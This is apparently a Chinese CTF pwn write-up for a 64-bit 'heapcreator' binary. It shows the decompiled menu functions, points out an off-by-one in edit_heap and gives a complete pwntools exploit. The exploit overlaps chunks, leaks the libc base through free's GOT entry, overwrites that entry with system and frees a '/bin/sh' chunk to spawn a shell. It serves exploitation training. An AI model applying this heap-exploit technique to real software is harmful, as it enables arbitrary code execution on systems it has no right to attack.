64位程序,没开PIE #chunk overlapping #off by one
程序逻辑
1 int __cdecl main(int argc, const char **argv, const char **envp) 2 { 3 char *v3; // rsi 4 const char *v4; // rdi 5 char buf; // [rsp+0h] [rbp-10h] 6 unsigned __int64 v6; // [rsp+8h] [rbp-8h] 7 8 v6 = __readfsqword(0x28u); 9 setvbuf(_bss_start, 0LL, 2, 0LL); 10 v3 = 0LL; 11 v4 = (const char *)stdin; 12 setvbuf(stdin, 0LL, 2, 0LL); 13 while ( 1 ) 14 { 15 menu(v4, v3); 16 v3 = &buf; 17 read(0, &buf, 4uLL); 18 v4 = &buf; 19 switch ( atoi(&buf) ) 20 { 21 case 1: 22 create_heap(&buf, &buf); 23 break; 24 case 2: 25 edit_heap(&buf, &buf); 26 break; 27 case 3: 28 show_heap(&buf, &buf); 29 break; 30 case 4: 31 delete_heap(&buf, &buf); 32 break; 33 case 5: 34 exit(0); 35 return; 36 default: 37 v4 = "Invalid Choice"; 38 puts("Invalid Choice"); 39 break; 40 } 41 } 42 }
创建堆
1 unsigned __int64 create_heap() 2 { 3 _QWORD *v0; // rbx 4 signed int i; // [rsp+4h] [rbp-2Ch] 5 size_t size; // [rsp+8h] [rbp-28h] 6 char buf; // [rsp+10h] [rbp-20h] 7 unsigned __int64 v5; // [rsp+18h] [rbp-18h] 8 9 v5 = __readfsqword(0x28u); 10 for ( i = 0; i <= 9; ++i ) 11 { 12 if ( !heaparray[i] ) 13 { 14 heaparray[i] = malloc(0x10uLL); 15 if ( !heaparray[i] ) 16 { 17 puts("Allocate Error"); 18 exit(1); 19 } 20 printf("Size of Heap : "); 21 read(0, &buf, 8uLL); 22 size = atoi(&buf); 23 v0 = heaparray[i]; 24 v0[1] = malloc(size); 25 if ( !*((_QWORD *)heaparray[i] + 1) ) 26 { 27 puts("Allocate Error"); 28 exit(2); 29 } 30 *(_QWORD *)heaparray[i] = size; 31 printf("Content of heap:", &buf); 32 read_input(*((_QWORD *)heaparray[i] + 1), size); 33 puts("SuccessFul"); 34 return __readfsqword(0x28u) ^ v5; 35 } 36 } 37 return __readfsqword(0x28u) ^ v5; 38 }
编辑堆,比之前创建堆时的size多读入了1个字节,造成off by one
1 unsigned __int64 edit_heap() 2 { 3 int v1; // [rsp+Ch] [rbp-14h] 4 char buf; // [rsp+10h] [rbp-10h] 5 unsigned __int64 v3; // [rsp+18h] [rbp-8h] 6 7 v3 = __readfsqword(0x28u); 8 printf("Index :"); 9 read(0, &buf, 4uLL); 10 v1 = atoi(&buf); 11 if ( v1 < 0 || v1 > 9 ) 12 { 13 puts("Out of bound!"); 14 _exit(0); 15 } 16 if ( heaparray[v1] ) 17 { 18 printf("Content of heap : ", &buf); 19 read_input(*((_QWORD *)heaparray[v1] + 1), *(_QWORD *)heaparray[v1] + 1LL);//off by one 20 puts("Done !"); 21 } 22 else 23 { 24 puts("No such heap !"); 25 } 26 return __readfsqword(0x28u) ^ v3; 27 }
利用思路
基本利用思路如下
- 利用 off by one 漏洞覆盖下一个 chunk 的 size 字段,从而构造伪造的 chunk 大小。
- 申请伪造的 chunk 大小,从而产生 chunk overlap,进而修改关键指针。
- 具体的看exploit
exploit
1 from pwn import * 2 sh=process('./heapcreator') 3 elf=ELF('./heapcreator') 4 libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') 5 6 def create(size,value): 7 sh.recvuntil('Your choice :') 8 sh.sendline('1') 9 sh.recvuntil('Size of Heap :') 10 sh.sendline(str(size)) 11 sh.recvuntil('Content of heap:') 12 sh.sendline(value) 13 14 def edit(idx,value): 15 sh.recvuntil('Your choice :') 16 sh.sendline('2') 17 sh.recvuntil('Index :') 18 sh.sendline(str(idx)) 19 sh.recvuntil('Content of heap : ') 20 sh.sendline(value) 21 22 def show(idx): 23 sh.recvuntil('Your choice :') 24 sh.sendline('3') 25 sh.recvuntil('Index :') 26 sh.sendline(str(idx)) 27 28 def delete(idx): 29 sh.recvuntil('Your choice :') 30 sh.sendline('4') 31 sh.recvuntil('Index :') 32 sh.sendline(str(idx)) 33 34 free_got=elf.got['free'] 35 create(0x18,'aaaaaaa') #idx0 实际分配了0x10的chunk,重用idx1的prev_size的8个字节 36 create(0x10,'aaaaaaa') #idx1 37 create(0x10,'aaaaaaa') #idx2 38 create(0x10,'/bin/sh\x00') #idx3 39 payload='a'*0x18+'\x81' 40 edit(0,payload) #修改idx1的size为0x81 41 delete(1) #idx1进入0x70的unsorted bin 42 size='\x08'.ljust(8,'\x00') 43 payload='b'*0x40+size+p64(free_got) 44 create(0x70,payload) #分配到idx1 此时size为0x70,可以堆溢出到idx2,修改idx2的内容指针为free_got 45 show(2) #输出free真实地址,泄露libc基地址 46 sh.recvuntil('Content :') 47 free_adr=u64(sh.recvline()[:-1].strip().ljust(8,'\x00')) 48 #free_adr=u64(sh.recvuntil('\nDone')[:-5].ljust(8,'\x00')) 49 print 'free_adr: '+hex(free_adr) 50 libc_base=free_adr-libc.symbols['free'] 51 system_adr=libc_base+libc.symbols['system'] 52 print 'libc_base: '+hex(libc_base) 53 print 'system_adr: '+hex(system_adr) 54 edit(2,p64(system_adr)) #将free_got改为system地址 55 delete(3) #free(idx->content)触发 56 sh.interactive()